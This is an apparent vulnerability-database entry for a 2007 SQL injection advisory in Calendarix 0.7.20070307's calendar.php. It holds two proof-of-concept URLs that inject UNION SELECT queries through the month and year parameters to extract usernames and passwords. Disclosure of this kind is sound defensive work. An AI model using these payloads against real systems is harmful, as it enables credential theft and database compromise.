Calendarix 0.7.20070307 - Multiple SQL Injections

🗓️ 25 Jun 2007 00:00:00Reported by Jesper JurcenoksType

Calendarix 0.7.20070307 SQL Injection vulnerabilitie

Reporter	Title	Published	Views	Family All 11
Tenable Nessus	Calendarix <= 0.7.20070307 calendar.php month and year parameter SQL Injection	25 Jun 200700:00	–	nessus
Tenable Nessus	Calendarix calendar.php Multiple Parameter SQL Injection	26 Jun 200700:00	–	nessus
CVE	CVE-2007-3183	26 Jun 200717:00	–	cve
Cvelist	CVE-2007-3183	26 Jun 200717:00	–	cvelist
EUVD	EUVD-2007-3175	7 Oct 202500:30	–	euvd
NVD	CVE-2007-3183	26 Jun 200717:30	–	nvd
Prion	Sql injection	26 Jun 200717:30	–	prion
Prion	Sql injection	26 Nov 200801:30	–	prion
RedhatCVE	CVE-2008-2429	21 May 202521:33	–	redhatcve
securityvulns	Calendarix version 0.7. 20070307 Multiple SQL Injection Vulnerabilities	26 Jun 200700:00	–	securityvulns

source: https://www.securityfocus.com/bid/24633/info

Calendarix is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect Calendarix 0.7.20070307; other versions may also be affected.

http://www.example.com/calendar.php?month=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23

http://www.example.com/calendar.php?month=&year=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23

12 Dec 2013 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 26.8

EPSS0.04496